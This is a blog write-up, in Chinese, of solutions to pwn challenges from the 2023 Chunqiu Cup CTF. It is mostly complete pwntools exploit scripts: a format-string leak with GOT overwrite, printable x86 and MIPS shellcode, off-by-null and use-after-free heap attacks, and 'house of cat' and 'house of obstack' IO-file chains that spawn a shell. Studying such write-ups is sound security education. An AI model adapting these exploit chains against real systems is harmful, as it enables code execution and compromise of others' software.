2023-春秋杯pwn-wp

本文最后更新于:2023年5月27日 凌晨

2023-春秋杯pwn-wp

一共六道题,比赛期间做出来4道,排名92。

babyaul那道题纯属不太会,three-boy那道题主要是最后一天排名落后了,就不太想做了。

image-20230709173316006

p2048

题目是一个小游戏,有点怪怪的。玩通关即可获取shell。

image-20230711214025865

image-20230711214056559

easy_LzhiFTP_CHELL

查看保护。

image-20230711211521146

程序设置伪随机数作为登录密码。

程序存在格式化字符串漏洞,可以泄露程序基地址。

image-20230711212001764

程序分配时,多分配一次造成溢出。

image-20230711212246800

覆盖free的got表为system_plt。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from ctypes import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './easy_LzhiFTP'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'

elf = ELF(fn)
libc = ELF(libc_name)
fun = cdll.LoadLibrary(libc_name)

debug = 1
if debug:
p = process(fn)
else:
p = remote('47.94.224.3', 14136)

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(cont):
p.sendlineafter('IMLZH1-FTP> ', cont)


def touch(filename, content='/bin/sh\x00'):
menu(b'touch ' + filename)
p.sendafter('Context:', content)


def edit(index, content):
menu('edit')
p.sendlineafter('idx:', str(index))
p.sendafter('Content: ', content)


def delete(index):
menu('del')
p.sendlineafter('idx:', str(index))


def cat():
menu('cat')


def ls():
menu('ls')


def bye():
menu('bye')


fun.srand(100)
pwd = fun.rand() % 115 * fun.rand() % 200
pwd = 0x72

p.sendafter('Username: ', 'l1s00t'.ljust(0x20, '\x00'))
p.sendafter('Password: ', p32(pwd))

p.sendlineafter('(yes/No)', 'No%19$p')

p.recvuntil('Your Choice:No')
codebase = (int(p.recv(14), 16) & ~0xfff) - 0x1000
lg('codebase', codebase)

file_name = codebase + 0x4A80
files = codebase + 0x4b00

system_plt = codebase + elf.plt['system']
free_got = codebase + elf.got['free']

for i in range(16):
touch(b'flag')

delete(0)

touch(p64(files + 0x10), '\x00')

edit(0, p64(free_got))

edit(2, p64(system_plt))

# dbg()

delete(4)

p.interactive()

image-20230711213046085

babygame

检查保护。

image-20230711214247788

分配一段可读可写可执行的地址。

image-20230711214628801

玩游戏刷钱。也就是1~4位md5值爆破。

image-20230711214810610

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def md5(str):
md5 = hashlib.md5()
md5.update(str.encode())
return md5.hexdigest()


def exploit(res):
s = 'abcdefghijklmnopqrstuvwxyzA'
for a in s:
for b in s:
for c in s:
for d in s:
src = a + b + c + d
if md5(src) == res:
return src


def menu(index):
p.sendlineafter('>> ', str(index))


def game(level, times):
menu(1)
p.sendlineafter('level : ', str(level))
for i in range(times):
p.recvuntil('MD5(')
src = p.recv(4).decode()
p.recvuntil('== ')
res = p.recvuntil('\n')[:-1].decode()
t = exploit(res)
p.sendlineafter('Give me : ', t)

p.sendlineafter('Give me : ', 'exit')

得到足够的钱后,调用sub_401396获取足够的执行次数,调用sub_40124D将数据写入mmap分配的空间,最后调用sub_401072执行vm指令。

其中,实现vm虚拟指令部分存在数组溢出。可以覆盖返回地址为mmap,从而执行可见字符shellcode。

image-20230711215735810

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
import hashlib

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote('39.106.131.193', 25256)

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

command = '''
b execve
'''

def md5(str):
md5 = hashlib.md5()
md5.update(str.encode())
return md5.hexdigest()


def exploit(res):
s = 'abcdefghijklmnopqrstuvwxyzA'
for a in s:
for b in s:
for c in s:
for d in s:
src = a + b + c + d
if md5(src) == res:
return src


def menu(index):
p.sendlineafter('>> ', str(index))


def game(level, times):
menu(1)
p.sendlineafter('level : ', str(level))
for i in range(times):
p.recvuntil('MD5(')
src = p.recv(4).decode()
p.recvuntil('== ')
res = p.recvuntil('\n')[:-1].decode()
t = exploit(res)
p.sendlineafter('Give me : ', t)

p.sendlineafter('Give me : ', 'exit')


def opcode(a, b, c ,d):
return a + chr(b) + chr(c) + chr(d)

load = lambda b, c, d: opcode('A', b, c ,d)
load_z = lambda b, c, d: opcode('B', b, c, d)
add = lambda b, c, d: opcode('E', b, c, d)
mul = lambda b, c, d: opcode('J', b, c, d)
myor = lambda b, c, d: opcode('H', b, c ,d)
write = lambda b, c, d: opcode('C', b, c, d)
sub = lambda b, c, d: opcode('F', b, c, d)

def buy(content):
menu(2)
menu(1)
p.sendlineafter('to purchase', content)


def expand():
menu(2)
menu(2)
p.sendlineafter('you need : ', str(0xf0))


def use():
menu(2)
menu(3)


bss = 0x20000 + 0x18

game(4, 30)
expand()

shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

zero = 0x30

payload = ''
# payload += load(0x37 + 0x10, zero, 0x37 + 0x40)
# payload += mul(0x37 + 0x10, 0x37 + 0x10, zero)
payload += load(0x37 + 0x10, zero, 0x37 + 0x18)
payload += load(zero, zero, 0x37 + 0x22)
payload += load(0x37 + 0x12, zero, 0x37 + 0x20)
payload += sub(0x37 + 0x12, zero, 0x37 + 0x12)
payload += write(0x6f, zero, zero)
payload = payload.ljust(0x18, 'x')

payload += shellcode

buy(payload)

use()

p.interactive()

image-20230711215949846

sigin_shellcode

查看保护。

image-20230711220537281

mips32架构下的pwn题。

伪随机数,下到100层获取足够的钱。

image-20230711220650959

image-20230711220749396

通过获得的钱购买战斗力。

最后战斗,战胜boss后,获取执行shellcode的机会。

image-20230711220926671

shellcode要求是mips32架构下的可见字符,题目已经给了大部分shellcode,我们只需要使execve第2个与第3个参数为0即可,即使$a1, $a2为0。

image-20230711221056501

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/python
#encoding:utf-8

from pwn import *
from ctypes import *
import sys

context.arch = 'mips'
context.log_level = 'debug'


debug = 1
if debug:
# p = process(['chroot', '.', './qemu-mipsel-static', '-g', '1234', './pwn'])
p = process(['chroot', '.', './qemu-mipsel-static', './pwn'])

else:
p = remote('39.106.65.236', 38832)


def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


rand = [0, 1, 2, 1, 4, 5, 4, 5, 8, 9, 8, 5, 5,
11, 14, 5, 16, 17, 5, 9, 11, 19, 3, 5,
4, 5, 17, 25, 14, 29, 30, 5, 8, 33, 4,
17, 32, 5, 5, 29, 33, 11, 0, 41, 44, 3,
6, 5, 46, 29, 50, 5, 47, 17, 19, 53, 5,
43, 52, 29, 32, 61, 53, 5, 44, 41, 60,
33, 26, 39, 1, 53, 52, 69, 29, 5, 74,
5, 29, 69, 44, 33, 36, 53, 84, 43, 14,
85, 81, 89, 18, 49, 92, 53, 24, 5, 93,
95, 8]

# 29


def menu(index):
p.sendlineafter('Go> ', str(index))


def attack(payload):
menu(1)
p.sendlineafter(b'do you want?', '29')
p.sendafter('Shellcode >', payload)


def shop(index):
menu(3)
p.sendlineafter('> ', str(index))


def exploit():
with open('rand.txt', 'r') as f:
for line in f:
menu(1)
p.sendlineafter(b'do you want?', line.strip())

menu(1)
p.sendlineafter(b'do you want?', sys.argv[1])
# p.recvuntil(b'Thief!', timeout=0.2)
temp = p.recvall(timeout=0.2)
if b'Thief!' in temp:
log.success("thief: " + str(int(sys.argv[1]) - 1))

with open('rand.txt', 'a') as f:
f.write(str(int(sys.argv[1]) - 1))
f.write('\n')

else:
exit(-1)


# exploit()

for x in rand:
menu(1)
p.sendlineafter(b'do you want?', str(x))

shop(3)
shop(2)

shellcode = '''
lw $a1, 56($sp)
lw $a2, 56($sp)
'''
payload = asm(shellcode)

attack(payload)

p.interactive()

至于随机数,笔者利用题目给的libc库总是失败。也没想到其他办法,笔者这里的思路是爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

rm rand.txt
touch rand.txt

for i in {1..100}
do
for((j=1; j<=$i; j++))
do
sudo python wp.py $j
if [ $? -eq 0 ]; then
break
fi
done
done

将每次爆破的值存储到文件中,最后读取文件即可获取rand值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def exploit():
with open('rand.txt', 'r') as f:
for line in f:
menu(1)
p.sendlineafter(b'do you want?', line.strip())

menu(1)
p.sendlineafter(b'do you want?', sys.argv[1])
# p.recvuntil(b'Thief!', timeout=0.2)
temp = p.recvall(timeout=0.2)
if b'Thief!' in temp:
log.success("thief: " + str(int(sys.argv[1]) - 1))

with open('rand.txt', 'a') as f:
f.write(str(int(sys.argv[1]) - 1))
f.write('\n')

else:
exit(-1)

爆了大概10分钟左右吧,就把所有的随机数都爆出来了。

babyaul

c语言与lua脚本的结合。

查看保护

image-20230711221358610

我们的程序一开始是无法运行的,题目修改了lua脚本的文件头,我们复原文件头即可。

image-20230711221532951

即把Aul修改为Lua。

我们使用unlua反编译bins,得到lua脚本。

image-20230711221744679

image-20230711221818483

lua调用c语言pass对字符进行加密,通过后即为我们熟悉的菜单堆。

我们通过对babyaul进行逆向找到pass加密逻辑。

程序优先加载bins文件,这也就是我们一开始运行失败的主要原因。

image-20230711222052515

pass加密逻辑为随机输入4个一定范围的字符,然后进行sha256加密。

image-20230711222334267

image-20230711222313455

这里,我们直接进行爆破解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def decrypt(data: str):
target_hash = data # 目标哈希值

found = False
for i in range(48, 91): # 4 字节哈希共有 256^4 种组合
for j in range(48, 91):
for k in range(48, 91):
for l in range(48, 91):
# 构造当前组合的字节串
attempt = bytes([i, j, k, l])
# 计算哈希值
hash_value = hashlib.sha256(attempt).digest().hex()
if hash_value == target_hash:
print("Hash cracked! The original value is:", attempt)
found = True
return attempt
if found:
break
if found:
break
if found:
break

if not found:
print("Failed to crack the hash.")

程序add存在off-by-null漏洞。

image-20230711222609346

这里我们可以泄露出堆地址,直接伪造fake_chunk通过unlink检查即可,就不需要布置过于复杂的堆风水了。利用直接使用house of cat一把嗦即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
from pwn import *
import hashlib

context.arch = 'amd64'
context.log_level = 'debug'

fn = './babyaul'
elf = ELF(fn)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index: str):
p.sendlineafter('>', index)


def add(size, mode=3, content='l1s00t'):
menu('add')
p.sendlineafter('size?', str(size))
p.sendlineafter('mode?', str(mode))
sleep(0.2)
p.send(content)


def show(index):
menu('get')
p.sendlineafter('index?', str(index))


def delete(index):
menu('del')
p.sendlineafter('index?', str(index))


def decrypt(data: str):
target_hash = data # 目标哈希值

found = False
for i in range(48, 91): # 4 字节哈希共有 256^4 种组合
for j in range(48, 91):
for k in range(48, 91):
for l in range(48, 91):
# 构造当前组合的字节串
attempt = bytes([i, j, k, l])
# 计算哈希值
hash_value = hashlib.sha256(attempt).digest().hex()
if hash_value == target_hash:
print("Hash cracked! The original value is:", attempt)
found = True
return attempt
if found:
break
if found:
break
if found:
break

if not found:
print("Failed to crack the hash.")


shellcode = asm(shellcraft.cat('flag'))

def house_of_cat(fake_IO_file_addr):
payload = flat(
{
0x20: [
0, 0,
1, 1,
fake_IO_file_addr+0x150, # rdx
setcontext + 61
],
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
0xb0: 1, # _mode
0xc8: _IO_wfile_jumps + 0x30, # fake_IO_wide_jumps
0x100: fake_IO_file_addr + 0x40,
0x140: {
0xa0: [fake_IO_file_addr + 0x210, ret]
},
0x200: [
pop_rdi_ret, fake_IO_file_addr >> 12 << 12,
pop_rsi_ret, 0x2000,
pop_rdx_rbx_ret, 7, 0,
pop_rax_ret, 10, # mprotect
syscall_ret,
fake_IO_file_addr+0x300+0x10,
],
0x300: shellcode,
}, filler='\x00'
)

return payload


menu('pass')

enc = p.recvline()[:-1].decode()
p.sendline(decrypt(enc))

add(0x500) # 0
add(0x500) # 1

delete(0)

add(0x520) # 0

add(0x500, 3, 'a' * 16) # 2
show(2)

p.recvuntil('a' * 0x10)
heap_base = u64(p.recv(6).ljust(8, b'\x00'))
lg('heap', heap_base)

delete(2)
add(0x500, 3, 'a' * 8) # 2
show(2)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
lg('libc_base', libc_base)

_IO_list_all = libc_base + 0x1ed5a0
setcontext = libc_base + libc.sym['setcontext']
_IO_stdfile_2_lock = libc_base + 0x1ee7f0
_IO_wfile_jumps = libc_base + 0x1e8f60

pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_rbx_ret = libc_base + 0x000000000015f8c6
pop_rax_ret = libc_base + 0x0000000000036174
syscall_ret = libc_base + 0x00000000000630a9
ret = pop_rdi_ret + 1


fake_chunk = heap_base + 0xf70
fake_size = 0x600

payload = flat(
{
0x10: [0, fake_size, fake_chunk, fake_chunk],
}, filler='\x00'
)

add(0x100, 2) # 3 no-use

add(0x500, 3, payload) # 4
add(0x100, 2) # 5
add(0x4f8) # 6
add(0x100, 2) # 7

delete(5)
add(0x108, 1, flat({0x100: fake_size}, filler='\x00')) # 5 off-by-null

delete(6) # trigger

delete(3)
delete(5)

payload = flat(
{
0: house_of_cat(fake_chunk),
0x4e0: [0, 0x111, p64(_IO_list_all)]
}, filler='\x00'
)
add(0x520, 3, payload)

add(0x100, 2)
add(0x100, 2, p64(fake_chunk))

# dbg()

menu('exit')

p.interactive()

image-20230711222838284

three-boy

检查保护。

image-20230711210008159

保护全开。

这道题仍然是一道常规的堆菜单题。

sub_17C1函数根据随机数分配堆块。这里为了使我们分配的堆块可控,笔者使用python模拟rand随机数。image-20230711210238126

sub_16AA函数存在UAF漏洞。

image-20230711205905435

还可以edit堆块一次以及show堆块一次。

大致思路就是泄露heap以及libc地址,分配比较大的chunk,然后剩下的堆块从这个大的chunk中分割,即可利用一次edit进行largebin attack以及伪造IO file。

笔者这里采用house of obstack的方式获取shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from pwn import *
from ctypes import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = ELF('./libc-2.35.so')

debug = 1
if debug:
p = process(fn)
else:
p = remote()

def dbg(s=''):
if debug:
gdb.attach(p, s)
pause()

else:
pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(index):
p.sendlineafter('choice: ', str(index))


def myadd(index, size, select):
menu(1)
p.sendlineafter('area to explore: ', str(index))
p.sendlineafter('explore this time: ', str(size))
p.sendlineafter('(1: yes / 0: no)', str(select))


def add(index, size):
flag = 1
while flag:
if fun.rand() % 10 > 4:
myadd(index, size, 1)
else:
flag = 0
myadd(index, size, 0)


def show(index):
menu(4)
p.sendlineafter('signal from the Trisolarans: ', str(index))


def edit(index, size, content):
menu(3)
p.sendlineafter('area to talk to: ', str(index))
p.sendlineafter('words you want to send: ', str(size))
p.sendlineafter('write down your conclusions: ', content)


def delete(index):
menu(2)
p.sendlineafter('abandon to return: ', str(index))


def house_of_obstack(fake_IO_file_addr):
fake_IO_file = flat(
{
0x8: 1, # next_free
0x10: 0, # chunk_limit
0x18: 1, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: system, # gadget
0x38: fake_IO_file_addr + 0xe8, # rdi = &'/bin/sh\x00'
0x40: 1,
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
0x90: _IO_wide_data, # _IO_wide_data_2
0xc8: _IO_obstack_jumps + 0x20,
0xd0: fake_IO_file_addr, # obstack(B)
0xd8: '/bin/sh\x00'
}, filler='\x00'
)
payload = fake_IO_file

return payload


fun = cdll.LoadLibrary('./libc-2.35.so')
fun.srand(((fun.time(0) & 0xffffffff) // 100) * 100)

add(0, 0x500)
add(1, 0x500)
add(2, 0x520)
add(3, 0x500)

delete(0)
delete(2)

show(0)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x219ce0
lg('libc_base', libc_base)

p.recv(2)

heapbase = u64(p.recv(8)) - 0xcb0
lg('heapbase', heapbase)

system = libc_base + libc.sym['system']

_IO_list_all = libc_base + 0x21a680
_IO_stdfile_2_lock = libc_base + 0x21ba80
_IO_wide_jumps = libc_base + 0x2160c0
_IO_obstack_jumps = libc_base + 0x2163c0
_IO_wide_data = libc_base + 0x219b80

gadgets = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
one_gadget = libc_base + gadgets[0]

add(4, 0x520)
add(5, 0x500)

add(6, 0x1000)
add(7, 0x500)

delete(6)

add(8, 0x540)
add(9, 0x540)
add(10, 0x560)

delete(10)
add(11, 0x1000)

payload = flat({
0: house_of_obstack(heapbase + 0x16f0),
0x540: [0, 0x551],
0xa90: [
0, 0x571,
libc_base + 0x21a120, libc_base + 0x21a120,
heapbase + 0x2190, _IO_list_all - 0x20
]
}, filler='\x00')

edit(6, len(payload), payload)

delete(8)
add(12, 0x1000)

# dbg()

menu(5)

p.interactive()

image-20230711210754278


2023-春秋杯pwn-wp
http://example.com/2023/05/23/2023-春秋杯pwn-wp/
作者
l1s00t
发布于
2023年5月23日
更新于
2023年5月27日
许可协议